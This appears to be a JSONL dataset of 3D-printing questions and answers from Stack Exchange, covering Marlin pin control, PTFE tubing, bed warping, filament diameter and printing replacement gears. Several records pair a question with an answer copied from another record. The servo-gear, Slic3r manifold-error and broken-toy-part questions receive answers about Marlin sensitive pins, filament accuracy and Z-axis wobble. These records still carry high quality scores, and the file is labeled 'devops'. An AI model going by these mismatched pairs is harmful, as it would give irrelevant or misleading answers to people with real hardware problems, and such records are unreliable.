{"id": "hf_abd48b64a539", "question": "<p>I'm trying to use one of the RAMPS GPIOs to control an external device that requires a 5V low-current logic level signal from Marlin. In order to do this programmatically, my host software (Octoprint) is sending an M42 command. I am using the following syntax:</p>\n\n<pre><code>M42 P4 S255\n</code></pre>\n\n<p>according to the pinout in the following image:</p>\n\n<p><a href=\"https://i.stack.imgur.com/TRInv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/TRInv.png\" alt=\"enter image description here\"></a></p>\n\n<p>However, the pin appears to not be driven to a logic HIGH level. Is there firmware-level configuration I need to do as well, or is my syntax/pin number incorrect?</p>\n", "question_body": "", "answer": "I looked at the current Marlin code and the P24 command should work as you expect it unless the pin you are trying to use in listed as the \"SENSITIVE_PINS\" list:\n```\n```\n#define SENSITIVE_PINS { 0, 1, \\\nX_STEP_PIN, X_DIR_PIN, X_ENABLE_PIN, X_MIN_PIN, X_MAX_PIN, \\\nY_STEP_PIN, Y_DIR_PIN, Y_ENABLE_PIN, Y_MIN_PIN, Y_MAX_PIN, \\\nZ_STEP_PIN, Z_DIR_PIN, Z_ENABLE_PIN, Z_MIN_PIN, Z_MAX_PIN, Z_MIN_PROBE_PIN, \\\nPS_ON_PIN, HEATER_BED_PIN, FAN_PIN, FAN1_PIN, FAN2_PIN, CONTROLLER_FAN_PIN, \\\n_E0_PINS _E1_PINS _E2_PINS _E3_PINS _E4_PINS BED_PINS \\\n_H0_PINS _H1_PINS _H2_PINS _H3_PINS _H4_PINS \\\n_X2_PINS _Y2_PINS _Z2_PINS \\\nX_MS1_PIN, X_MS2_PIN, Y_MS1_PIN, Y_MS2_PIN, Z_MS1_PIN, Z_MS2_PIN \\\n}\n```\n```\nThese pins are printer specific; so, without access to your Marlin build, I can't see if pin 4 corresponds to one of these.  If this is the problem, the command should be returning an error.  If there is no error, I would look closely at the hardware.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.785876"}
{"id": "hf_202fd8464926", "question": "<p>I'm trying to gear down a servo even further. I notice that the majority of the gears are made of nylon, and I want to create new gears that come close to the resolution and strength of the existing gears. I have a Replicator 2, but the resolution does not seem to come close to what I need. Any suggestions on how I can create nylon or other hard material parts that might work?</p>\n", "question_body": "", "answer": "I looked at the current Marlin code and the P24 command should work as you expect it unless the pin you are trying to use in listed as the \"SENSITIVE_PINS\" list:\n```\n```\n#define SENSITIVE_PINS { 0, 1, \\\nX_STEP_PIN, X_DIR_PIN, X_ENABLE_PIN, X_MIN_PIN, X_MAX_PIN, \\\nY_STEP_PIN, Y_DIR_PIN, Y_ENABLE_PIN, Y_MIN_PIN, Y_MAX_PIN, \\\nZ_STEP_PIN, Z_DIR_PIN, Z_ENABLE_PIN, Z_MIN_PIN, Z_MAX_PIN, Z_MIN_PROBE_PIN, \\\nPS_ON_PIN, HEATER_BED_PIN, FAN_PIN, FAN1_PIN, FAN2_PIN, CONTROLLER_FAN_PIN, \\\n_E0_PINS _E1_PINS _E2_PINS _E3_PINS _E4_PINS BED_PINS \\\n_H0_PINS _H1_PINS _H2_PINS _H3_PINS _H4_PINS \\\n_X2_PINS _Y2_PINS _Z2_PINS \\\nX_MS1_PIN, X_MS2_PIN, Y_MS1_PIN, Y_MS2_PIN, Z_MS1_PIN, Z_MS2_PIN \\\n}\n```\n```\nThese pins are printer specific; so, without access to your Marlin build, I can't see if pin 4 corresponds to one of these.  If this is the problem, the command should be returning an error.  If there is no error, I would look closely at the hardware.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.807741"}
{"id": "hf_2d50e17e5117", "question": "<p>PTFE tubes are typically delivered coiled up. And because they are quite stiff, they always want to spring back to their original curvy shape, making them harder to route properly.</p>\n\n<p>Is there a way to straighten them out?</p>\n", "question_body": "", "answer": "I just plugged the ends of tube and soaked it in real warm water for 5 minutes then stretched it out on a table. That helped then the hard part I spooling it up against the arch and soaked it again. This seem to work the best.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.840252"}
{"id": "hf_3811f54aa866", "question": "<p>I'm creating a reverse Bowden setup to guide my filament from spool to extruder, through a path which contains two <a href=\"http://amzn.eu/almYaNi\" rel=\"nofollow noreferrer\">couplers</a> in the middle as follows:</p>\n\n<p><code>[spool] --- |#= --- =#| --- [extruder]</code></p>\n\n<p>So I have to connect a tube to the <em>back</em> of a coupler (<code>---=#|</code>) and not just to the front (<code>---|#=</code>). That's the end that contains the screw thread, and it's not designed to take a tube. I can't manage to make it a smooth transition. When I try to push my 1.75&nbsp;mm filament through, it will often get stuck there. After it's through, the extruder seems to have no problem with it anymore.</p>\n\n<p>Is there a trick to making this a smooth transition?</p>\n", "question_body": "", "answer": "The solution might be to countersink the opening at the threaded portion within the tube. There are various angles available for countersinks, although the more common angles are 82 degrees and 90 degrees.\nDrive the countersink to the point where the wall thickness is zero, unlike the drawing below showing some material outside the beveled area.\nFor your purposes, you'd want the steepest angle possible, the 60 degree tool.  If you decided to purchase a countersink, pick a diameter slightly larger than the outside diameter of the wall thickness of the coupler. You could use a countersink of the same diameter as the outside diameter of the threads.\nCenter drills are available with 60 degree angles as well:\nAmazon specific item\nThe second smallest center drill listed here has a 1.5 mm center point with a 4 mm drill point. If your coupling is larger than 4 mm, the next size up will not work as well, as the center point is 2.5 mm. You'd have to resort to a countersink only.\nIf you are near a machine shop or have a friend with a mill or even a decent drill press, those resources may be able to perform the countersink for a minimal (or possibly zero) fee.\nI have a mini-mill and a collection of countersinks as well as center drills. I found my bag of unused couplers. They are for 5 mm tubing and were flat on the threaded end. This is the result after a quick trip to the mill. It appears in the close up that I could have driven the center drill deeper into the fitting, and also cleaned off the swarf a bit as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.909573"}
{"id": "hf_2e58d538a78d", "question": "<p>If a part is wanted to be made the strongest possible, what slicer settings should be used? </p>\n\n<ul>\n<li><p>3-5 shells vs  all shells, no infill? </p></li>\n<li><p>100% infill vs  some other % infill?</p></li>\n<li><p>Thin layer height vs thick layer height?</p></li>\n<li><p>Any other relevant settings?</p></li>\n</ul>\n", "question_body": "", "answer": "If your real question is what would be the strongest then I say - the solid would be the strongest - no doubt.\nBut if the question is:\nwhat be the strongest in comparison to weight or\nwhat is the strongest in comparison to the cost (amount of material)\nthen these are good questions!\nYou can of course find many tutorials and comparisons on the net and there will be many answers - which all of them could be good/bad ;)\nIf these are your questions then instead of simple answer you can ask more questions like:\nin which orientation or\nfor what purpose or\nfor continues stress or maybe for variable stress or\nfor bending forces / shearing forces or maybe tearing forces\nall these forces and circumstances could require other answer... which could also lead to other questions :)\nBut according to my experience, the strongest settings (for general purpose) is 3 outlines (and the same number of first/last layers) and triangle infill 20-25 %\nWhy I think this is the strongest, 3 layers gives good chance to have well stickiness even if there are geometric/design issues and triangle infill gives good (and common) way to carry and spread forces.\nBut as I said it depends on many input data.\nLet's look at these figures:\nin figure A we have the strongest composition for compression; this is because all working forces try to damage material particles which is of course hard to do (depending on material density and length of polymers and the way they are tangled and so on - in general - material strength only).\nIf we consider figure B where forces try to tear apart layers then we know that we base on stickiness between layers which can vary on printing parameters (as is temperature and speed).\nFinally, figure C shows shearing forces - in terms of layered structure it doesn't really differ from tearing apart but the results (the resistance of and object) is even weaker - it's because we base on stickiness and we additionally have less effective field of working stickiness) which reduces endurance of an object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.935186"}
{"id": "hf_f5ed1c26a947", "question": "<p>I got a new MKS 1.4 controller board and it came with A4988 driver chips.  But I can't figure out which way they install.  I found something saying to match the printing on the back of the chip to that on the board.  But I don't see anything that matches.  Suggestions?</p>\n\n<p><a href=\"https://i.stack.imgur.com/dQers.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dQers.jpg\" alt=\"Rear of A4988 breakout board\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/RdjAB.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/RdjAB.jpg\" alt=\"Close up of MKS 1.4 A4988 socket\"></a></p>\n", "question_body": "", "answer": "The below image was taken from\ntheir AliExpress shop page\n.\nUnfortunately, I don't manage to find the datasheet or schematic to give more technical advice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.002670"}
{"id": "hf_a1b83c93ae30", "question": "<p><a href=\"https://3dprinting.stackexchange.com/a/2820/5782\">In this answer</a> user <a href=\"https://3dprinting.stackexchange.com/users/4345/barafu-albino\">Barafu</a> says,</p>\n\n<blockquote>\n  <p>Yet I manage to keep my tolerances +- 0.05 mm which is enough for everything but miniature printing.</p>\n</blockquote>\n\n<p>I have asked for clarification on that answer regarding what is meant by \"miniature printing\" but in the meantime, I want to ask the general question.</p>\n\n<p>What impact does dimensional accuracy of filament have on final print quality, and why?  Does it vary between different filament types? </p>\n", "question_body": "", "answer": "Dimensional accuracy is not as important as dimensional uniformity. I can print with undersized (or oversized) filament, adjusting the flow appropriately, provided the filament has a consistent diameter. When creating filament in-house, without expensive equipment, it is difficult to maintain the same diameter throughout the entire extrusion. It is likely this extrusion diameter (when creating filament, rather than the output of the actual print head) to which Barafu is referring when he mentions his tolerances: +/- 0.05 mm\nin diameter\n. Which is reasonable.\nThe \"miniature printing\" comment likely refers to printing miniature models for tabletop gaming.\nIf the source filament becomes wider than expected, the output will have overflow, or more material than desired will be deposited, and this will certainly affect the quality of the piece.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.062240"}
{"id": "hf_a350b361b8a9", "question": "<p>Brand new to Slic3r, I've been using Cura for a while, so not sure is happening.  I tried to load <a href=\"https://www.shapeways.com/product/YDCPJF8KV/knight\" rel=\"nofollow noreferrer\">this Knight model</a> into Slic3er (v1.2.9 running on OS X), and it's reporting \"Manifold: auto-repaired (11430 errors)\", and the model looks incomplete.  Hovering the model with the mouse shows more details:</p>\n\n<p><a href=\"https://i.stack.imgur.com/hb2DY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hb2DY.png\" alt=\"Slic3r Screenshot\"></a></p>\n\n<p>Preview mode shows supports holding up the head, so I don't think it's just a screen rendering issue.  But I loaded this same model into Cura earlier today, and it worked just fine; I've printed the resulting GCode.  So I believe the model is fine.  I wanted to print using Slic3r and compare the results. </p>\n\n<p>Is this a known issue with certain types of models?  Not sure what to try next.</p>\n", "question_body": "", "answer": "Dimensional accuracy is not as important as dimensional uniformity. I can print with undersized (or oversized) filament, adjusting the flow appropriately, provided the filament has a consistent diameter. When creating filament in-house, without expensive equipment, it is difficult to maintain the same diameter throughout the entire extrusion. It is likely this extrusion diameter (when creating filament, rather than the output of the actual print head) to which Barafu is referring when he mentions his tolerances: +/- 0.05 mm\nin diameter\n. Which is reasonable.\nThe \"miniature printing\" comment likely refers to printing miniature models for tabletop gaming.\nIf the source filament becomes wider than expected, the output will have overflow, or more material than desired will be deposited, and this will certainly affect the quality of the piece.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.085145"}
{"id": "hf_bff67eab5f87", "question": "<p>I have seen many people saying on this site and many other 3D printing websites that 24 V systems are safer, compared to 12 V systems. By safer, I am talking in terms of fires or other electrical and component failures. </p>\n\n<p>Why would a 24 V system cause less danger? I would think that 12 V would be safer because it is very common (automotive) and many parts have been around for a while that use it. Although there are an increasingly amount of boards that support 24 V, many don't or need fuses or other parts that do support 24 V. </p>\n\n<p>Also, many parts that I have used are rated for 12 - 24 V. A 12 V power supply can go a bit over fairly comfortably. A 24 V power supply can't without partially going over the rating.</p>\n\n<p>If I had to build a printer designed with safety as a main priority, what voltage would be best?</p>\n", "question_body": "", "answer": "From a pure safety standpoint there is nothing about a 24v system that is distrinctly more safe than a 12v system. I see you added comments about something involving wire sizes. This is not really a factor.. I would say not knowing what wire size to use is a whole other issue. There is nothing stopping you from putting on larger wires.\nThe following websites verify the fact that a 24v needs smaller wires. Though again the system it self is not safer because the wires required are smaller.\nJamesTown\nSDC minimum wire gauge to distance chart\nI will also note the size difference is negligible anyways. It is not a major difference.\nNow one exception to this. If you had a 24v and a 12v compatible board. I would pick a 24v. The reason is not that the wire sizes needed are different. But for the reduced danger of the CONNECTOR that the wires attach to. I see quite often in the flashforge owner group boards that have caught fire due to a cheap connector that can not handle the load for the printer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.120326"}
{"id": "hf_17ddd63e998c", "question": "<p>I intend and would like to print a transparent hemisphere. I have a Taulman T-Glase clear 1.75 mm filament and I have XTC-3D.</p>\n\n<p>You can read this interesting page, <a href=\"http://taulman3d.com/t-glase-optics.html\" rel=\"nofollow noreferrer\">Hacking t-glase to look more like glass!</a></p>\n\n<p>First question, what kind of printing settings should I use? Should I go for a low infill percentage or a high one? Should I go for line or hexagon? I would say 5% line but perhaps there is a better setting.</p>\n\n<p>Then, how should I use XTC-3D as mentioned on the above link? I'm a little bit confused how it can make the part more transparent.</p>\n", "question_body": "", "answer": "Refraction of light is caused by changes in medium or angle of inflection. Any changes in medium will cause refraction, as such to be the most clear you would not want pockets of air. This means that if you are printing single layer 0% would work. The best appearance would most likely come from 100% infill as there would be no changes in the medium. The epoxy you linked to appears to smooth the surface, The smoother the surface, the clearer it will look. It is the same reason why you don't see clear textured mirrors or windows.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.170864"}
{"id": "hf_f80c16a116d8", "question": "<p>I'm not really sure if I'm asking the right question here, but I just made a noob mistake of buying 3 mm filaments instead of 1.75 mm. I have a Makerbot Replicator 2 which I've been using and so far it is pulling in 1.75 mm quite well.</p>\n<p>Is there any way I can still make use the 3 mm filaments, or do I need to use the filaments on different models? If it is the latter, which particular model is able to pull in 3 mm filament well?</p>\n", "question_body": "", "answer": "This is not a definitive answer (and has turned into a ramble), as I have not yet had to change my filament size.\nHowever, initially, I would have thought that only the hotend and the hotend's nozzle would need to be changed, from one that can handle the 1.75 mm filament to 3 mm. If the extruder is spring loaded, then it should adjust itself to the thicker filament, without a problem. If not, then you may have to do a slight manual adjustment.\nHowever, after doing some further reading, there may be other factors that need to be considered, such as:\nExtruder gearing;\nMelt time (which would imply a different feed rate)\nIt could be worth having a close look at the aperture of your hotend. If, in the unlikely situation, it looks as if the hotend would accept 3 mm (or if you could remove the lining so that it can), you\nmay\nnot need to actually change any hardware, but instead just try tweeking the\nfeedrate\nin the software, because as your nozzle is less than the width of the filament anyway, then it will be fine for both 1.75 mm\nand\n3 mm. A 3 mm filament would require more heating, and therefore a slower feedrate than a 1.75 mm feedrate. Once the filament has melted, so long as the pressure from the extruder is sufficient, then the molten filament should come out of the nozzle. However, this may be a less than satisafctory method and result in some dubious prints.\nThere is an interesting thread on the RepRap wiki,\n1.75mm Filament vs 3mm Filament\n, that discusses most of the points above.\nIt should be noted that the advantages of 3 mm filament has over 1.75 mm are that it is:\ncheaper\nstiffer (less flexible) and thus \"easier\" to push through the hotend.\nAs an aside, one interesting point raised in the thread, is that maybe a smaller extruder can be used, for the narrower 1.75 mm filament, thus resulting in a lighter print head. I am not sure how true that is.\nThis article,\nConverting a 3D printer from 3mm to 1.75mm\n, does the reverse of what you want, and comes with a\nvideo\n. It states that, as you have already found, that the hotend needs to be changed:\nThe printer [Thomas] is changing out to accept 1.75mm is the Lulzbot\n  Mini, one of the most popular printers that would ever need this\n  modification. The only required materials is a new hot end suitable\n  for 1.75mm filament, a 4mm drill, and a few wrenches and allen keys.\n  It would be a smart idea to get a hot end that uses the same\n  thermistor as the old one, but that’s not a deal-breaker as the\n  problem can be fixed in the firmware.\nAlternatively, you could leave your printer as it is and use a\n3mm to 1.75mm filament converter\n, which may be a bit of overkill for just one reel of filament\n1\n.\nThe bottomline\nTo be honest, is it worth the hassle, time and expense of having to modify and re-calibrate your printer (or worst case, change the model of the printer), just for the price of a reel of filament (assuming that you did not bulk purchase a bunch of reels)? It may be better to stick to one filament size (i.e. your original size) for all of your projects, and so resell the reel of 3 mm and stick with the 1.75 mm printer and buy the correct filament\n2\n.\n1\nSee also\nConversion of 3mm ABS filament to 1.75mm\n2\nSee also\nTom's answer\nto\nConversion of 3mm ABS filament to 1.75mm\nSee also\nCan 1.75mm filament be used in a printer that takes 3mm filament?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.204109"}
{"id": "hf_86c2867b07d9", "question": "<p>I have a Prusa i3 made by Geeetech. My 3D prints keep suffering from warping when printing with PLA.</p>\n\n<p>Whenever I print something with a base at about 10 cm x 10 cm, at least one corner of the print would warp up. I've read numerous articles about warping and tried all sorts of methods. My printer's bed is level, and heated to 60°C. My bed is made from clean glass. I've tried all sorts of adhesives. I tried blue tape, and used hair spray. </p>\n\n<p>The only way for me to combat this is gluing the base to blue tape with 502 Glue. I used brim and the whole brim just warps up. I sometimes leave the model printing over night. For the first few hours it's perfectly flat. When I go back to it the next morning I'd find one corner warped up. This is very dysfunctional to my prints. </p>\n\n<p>Is there a reliable way to stop this warping from happening?</p>\n", "question_body": "", "answer": "For ABS it will warp unless you build a heat chamber.\nThat said the tricks to reduce warping come down to:\nMaterial, i.e. PLA is less likely to warp;\nUse a fan, it helps so much;\nMake sure you have temps calibrated well - Too hot is more warp;\nUse a raft. The Makerbot uses a raft and no heated bed;\nMake sure the room is not drafty. Having it by the window will result in warping;\nAdding a large brim also helps;\nI find good ol' glue sticks work the best at keeping the print to the bed;\nSMASH the first layer. This one is controversial. I personally do first layer at 130% and print speed of 30%. You get elephants foot sure, but it's on the bed real good.\nTom is right. It is very very hard to print that big of a piece without warping. That said I have done very large pieces on my Ultimaker, using a fan, glue stick, MatterHackers PRO PLA and no raft. But again that's on an Ultimaker.\nNote you can build a heat chamber pretty easily. Specifically a passive heat chamber.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.269790"}
{"id": "hf_7958c221a657", "question": "<h2>The problem</h2>\n\n<p>When I print with my mElephant 3D printer from Makeblock, the prints come out with waved walls like in the picture below. I am using PLA filament from <a href=\"https://makeblock.lt\" rel=\"noreferrer\">https://makeblock.lt</a></p>\n\n<p><img src=\"https://makeblock.lt/up/so/3d-waves.jpg\" alt=\"3d-waves\"></p>\n\n<h2>What I tried</h2>\n\n<p>I tried changing temperatures 190-220, tried to change the flow rate. Also checked if the bolts are not lose. Everything seems good.</p>\n\n<h2>My printer</h2>\n\n<p><img src=\"https://makeblock.lt/up/so/melephant.jpg\" alt=\"mElephant\"></p>\n", "question_body": "", "answer": "Repeating patterns like that usually stem from issues in the Z axis.  This is likely caused by bent screws which in turn cause the X axis to move around.    Are the top of the threaded rods constrained?  If they are, an easy fix may just be to let the top of the threaded rods float around by removing the constraint.  Most Prusa i3's use 5mm threaded rod for the screws and 8mm smooth rod, does your printer use the same setup?\nIf your printer has 8mm (or 5/16\") threaded rod you could try to get some that are straight or the better solution would be to get the 5mm threaded rods and just print adapters to hold the 5mm nut inside the trap.  This would require new couplers (aluminum or rubber/plastic hose), 5mm threaded rods, nuts, adapters (printed) and a small change to the firmware.  This works because the 5mm rod is more flexible than the 8mm smooth rod and less likely to force the carriage around.\nIf you already have the 5mm threaded rod/8mm smooth rod then I would look to make sure your X axis is tight and does not move around on the Z axis smooth rods.\nThis would be easier to point out if you include a picture of your printer.\nEdit:\nIf your printer is the mElephant from Makeblock then I would try removing the bearings at the top that constrain the threaded rods and try the print again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.327009"}
{"id": "hf_2900233da836", "question": "<p>We have a toy with some broken parts, an Executivity Gear Master. I don't think it's made anymore. Some tiny parts were easy to break and we'd like to 3d print some replacement parts. We don't have CAD or any other 3D drawings file, just a few of the unbroken parts. What's the best way to get some of these printed? Do I have to turn this into a 3D file first? (Is there a quick way to do that from the part itself?) Or is there a way to do it where I just need the part, rather like getting a spare key cut from a pre-existing key being used as the template?</p>\n\n<p>Here's a photo of the part I need to print. Placed next to a quarter for size comparison:</p>\n\n<p><a href=\"https://i.stack.imgur.com/xZ6VN.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/xZ6VN.jpg\" alt=\"enter image description here\"></a> </p>\n", "question_body": "", "answer": "Repeating patterns like that usually stem from issues in the Z axis.  This is likely caused by bent screws which in turn cause the X axis to move around.    Are the top of the threaded rods constrained?  If they are, an easy fix may just be to let the top of the threaded rods float around by removing the constraint.  Most Prusa i3's use 5mm threaded rod for the screws and 8mm smooth rod, does your printer use the same setup?\nIf your printer has 8mm (or 5/16\") threaded rod you could try to get some that are straight or the better solution would be to get the 5mm threaded rods and just print adapters to hold the 5mm nut inside the trap.  This would require new couplers (aluminum or rubber/plastic hose), 5mm threaded rods, nuts, adapters (printed) and a small change to the firmware.  This works because the 5mm rod is more flexible than the 8mm smooth rod and less likely to force the carriage around.\nIf you already have the 5mm threaded rod/8mm smooth rod then I would look to make sure your X axis is tight and does not move around on the Z axis smooth rods.\nThis would be easier to point out if you include a picture of your printer.\nEdit:\nIf your printer is the mElephant from Makeblock then I would try removing the bearings at the top that constrain the threaded rods and try the print again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.351324"}
{"id": "hf_d12eb90fe836", "question": "<p>Using a 3D pen I printed a small box. However, I was doing it on plain paper and of course the paper didn't come off the plastic very well. It didn't matter for that specific case, but if I want to print something else, which non-sticky surface would you recommend? Is there any way to use transparent surface (so that I can put a paper with picture as a guide under it)?</p>\n", "question_body": "", "answer": "You could use a piece of glass, that's what most people using 3D printers have as a build surface.  An easy source of glass for pen use would be a picture frame but the edges are likely sharp so be careful.  Acrylic would also work and is easily obtained in small pieces from places like Lowes/Home Depot, I used Acrylic for some time on my Kossel.  The plastic can stick to Acrylic very well but I had no issues using it with my printer, just test it out and see what process works if you go that route.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.431530"}
{"id": "hf_5cd91000653d", "question": "<p>I have <a href=\"https://ultimaker.com/en/products/ultimaker-2-plus\" rel=\"noreferrer\" title=\"Ultimaker 2+\">Ultimaker 2+ 3D Printer</a> and I need to print a piece that doesn't fit within the build volume of the printer. Even though it would fit I'd still need to print it in two parts because I'll need to fit some equipment inside. I could use glue to put it together, but I'll need to remove the equipment later.</p>\n\n<p>So I'm trying to find some feasible solutions how to attach/snap it together. The wall thickness is currently 3mm.</p>\n\n<p><a href=\"https://i.stack.imgur.com/FFckZ.png\" rel=\"noreferrer\" title=\"Cut Plane\"><img src=\"https://i.stack.imgur.com/FFckZ.png\" alt=\"Cut Plane\" title=\"Cut Plane\"></a></p>\n\n<p>Plane for cutting the part.</p>\n\n<p><a href=\"https://i.stack.imgur.com/L2hhV.png\" rel=\"noreferrer\" title=\"Cut Cross Section\"><img src=\"https://i.stack.imgur.com/L2hhV.png\" alt=\"Cross Section where I split the part\" title=\"Cut Cross Section\"></a></p>\n\n<p>Cut cross section.</p>\n", "question_body": "", "answer": "If the equipment has to be removable, then there's no point in trying to make a one-piece object in the first place.  So it looks like you have two problems. The first is to decide what's the best way to split your container to facilitate both putting the equipment inside & removing it; the second is how to latch the two together.  I can't answer the first since you haven't shown us the equipment.\nAs to the second: there are a number of plans for spring-latching connectors (such as used with straps, backpack covers, etc) on thingiverse.com.  If you have no constraints on the exterior of your container, I would just merge the latching connectors into the container wall (e.g. with meshmixer) .", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.504156"}
{"id": "hf_ba5d4a2ac6ce", "question": "<p>The question is how to scale an existing mesh without changing the thickness of the walls?  </p>\n\n<p>I am using Blender to create STL files for 3D printing. Let's say I create a shell for a model railroad car. Since 1/87th is the most common scale I make the walls of the shell just thick enough to make it rigid in 1/87 scale. Now, if I want to print the same shell in a larger scale, say 1/48, the wall thickness will nearly double and it will waste material printing walls that are thicker than needed. If I want to print in 1/160 the printing may fail because the wall thickness falls below the minimum the printer will support. </p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Your question falls into two different categories, here at 3D Printing SE and there, at\nBlender SE\n.\nI would consider that your objective would best be solved using some form of parametric modeling, an aspect that is rarely embraced by Blender. Even though the limitations of Blender make life interesting for you, there may be a couple of useful features within (and without) the program.\nOn\nBlender SE\n, a question of similar format exists, with a somewhat open-ended answer. A quick search using The Google, with the terms \"\nParametric Modeling with Blender\n\" results in a number of different approaches. According to a quick perusal of the search results, some of the solutions involve free plug-ins or add-ons for Blender. More complexity rather than less, perhaps.\nI'm familiar enough with the very simple basics of Blender to know I would not be able to make use of those answers. I'm also well aware that Blender's power extends beyond my own limitations with features supporting scripting, animation and so many other tools. Seeing the workflow diagrams/charts that make up some of the advanced portion of the program leads me to believe that one can accomplish your objective, but one must be a certified wizard with the program.\nAs an alternative, one could engage any one of the many parametric modeling programs available. I'm a fan of OpenSCAD, although the text/scripting interface can be daunting for some. If you've become skilled in Blender, a non-GUI format isn't necessarily the best route, although the GUI options are no less confusing, in my opinion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.544598"}
{"id": "hf_0eb2431fd5ae", "question": "<p>A plastic gear of an older DVD player broke. I always read about being 3D printing a \"repair revolution\". So I looked for a template to give to some printing service, but I found none (and nothing close to it).</p>\n\n<p>Could you please explain me, what steps a layman should take to get the gear piece replaced using 3D printing?</p>\n", "question_body": "", "answer": "If you have the remaining pieces of the gear and enough remains to determine certain measurements, one can either engineer the gear using a number of gear modeling designs, or one can take measurements directly from the parts and engineer a raw design.\nIf the gear you have is not particularly peculiar, it is possible to use a gear generator plug-in, template, or library to make the \"foundation\" of your gear. The modeling software would then be used to add the appropriate bosses and key ways required to complete the design.\nIf you are considering to create the part yourself, you have a wide selection of programs from which to choose. I'm fond of OpenSCAD, and it does have\na number of gear libraries\n. Simple bosses and key ways are easily accomplished using\nOpenSCAD\n.\nAnother package available on the internet which includes the option of using a gear generator is\nTinkercad\nwhich has a reputation of being easy to use. You'll find many tutorials for this program as well.\nTinkercad requires an \"outside\" program to generate the gear design which is then imported to the model workspace. Even a program as simple as Inkscape can create gear profiles to be imported into many design packages.\nFusion360 is available free for hobby or non-commercial use, but may not be the easiest to learn in a short time.\nSo many others as well. Use your favorite search engine for \"\ngear generator modeling software\n\" or similar wording and be overloaded with links.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.567984"}
